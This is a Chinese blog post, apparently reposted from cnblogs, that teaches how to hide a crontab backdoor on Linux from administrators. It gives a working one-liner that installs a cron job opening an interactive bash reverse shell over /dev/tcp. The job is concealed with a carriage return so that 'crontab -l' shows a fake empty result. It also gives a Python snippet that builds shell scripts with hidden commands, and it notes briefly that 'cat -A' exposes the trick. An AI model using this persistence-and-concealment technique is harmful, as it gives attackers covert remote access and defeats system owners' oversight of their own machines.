首页 > 系统服务 > 详细

linux隐藏你的crontab后门

时间:2021-03-08 14:16:12      阅读:31      评论:0      收藏:0      [点我收藏+]

crontab定时后门

? crontab是用来定期执行程序的命令,crond 命令每分钟会定期检查是否有要执行的工作,如果有要执行的工作便会自动执行该工作。

? 注意: 新创建的 cron 任务,不会马上执行,至少要过 2 分钟后才可以,当然你可以重启 cron 来马上执行

? 比如我们通过redis写crontab后,管理员上线 执行crontab -l 就会查看到我们留下的可疑命令。那么我们如果躲避管理员的查看呢?

技术分享图片

? 其实 crontab -l 是查看保存在这里 /var/spool/cron/crontabs/root文件。路径里的root对应每个用户不同的crontab

技术分享图片

我们清除之前的cron, 再来一次。输入

(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for whoami%100c\n")|crontab -

这时候,管理员crontab -l ,或者查看记录文件都看不到定时任务了

技术分享图片

定时任务还是存在的,应该怎么看到呢?

使用 cat -A xxx 就可以看到了。

技术分享图片

原理就是cat一些比如 \r 回车符 \n 换行符 \f 换页符这些符号导致了隐藏。

这里用python制作一个隐藏的sh。

cmd_h = "echo ‘You forgot to check `cat -A`!‘ > oops" # 隐藏
cmd_v = "echo ‘You see me!‘"                         # 显示

with open("test.sh", "w") as f:
    output = "#!/bin/sh\n"
    output += cmd_h + ";" + cmd_v + " #\r" + cmd_v + " " * (len(cmd_h) + 3) + "\n"
    f.write(output)

然后用cat -A 查看, cat -A 表示展示所有,等同于 -vET

技术分享图片

公众号: 【渗透测试教程】 专注渗透测试、渗透自动化武器研发。回复666,免费领取渗透学习资料+工具!希望能够给你带来收获!
技术分享图片

linux隐藏你的crontab后门

原文:https://www.cnblogs.com/awake1t/p/14498443.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!